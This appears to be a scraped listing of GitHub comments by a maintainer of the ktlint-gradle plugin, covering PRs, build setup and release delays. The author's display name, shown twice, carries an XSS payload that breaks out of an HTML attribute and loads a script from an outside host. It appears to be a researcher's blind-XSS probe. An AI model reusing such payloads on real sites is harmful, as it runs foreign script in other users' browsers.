Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

Results 596 comments of Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

This may be resolved by this: https://github.com/JLLeitschuh/ktlint-gradle/pull/571

I believe your changes may just be stashed, so you can theoretically get them back by unstashing your changes. Sorry about this. I'll see if we can get a release...

@Tapchicoma do we even have the information required to do this?

Hi @rafalh, Thanks for the contribution! Sorry for taking so long to get back to you! In order to accept this PR, I'd need a test that demonstrates the fix...

You most likely don't have a repository declared in your build. ``` repositories { // Required to download KtLint mavenCentral() } ```

Can you provide a build scan?

If I'm understanding what you're saying here. With the logic you have above, if you have a lint error, the first time you run your build's `check` task, it fails....

It's not. Windows fail with an OOM error that I haven't figured out yet

Thank you for your contribution. Sorry for taking so long. I've been super busy with Black Hat and DEFCON prepping as a speaker the past month.

What's the use case here again? Sorry.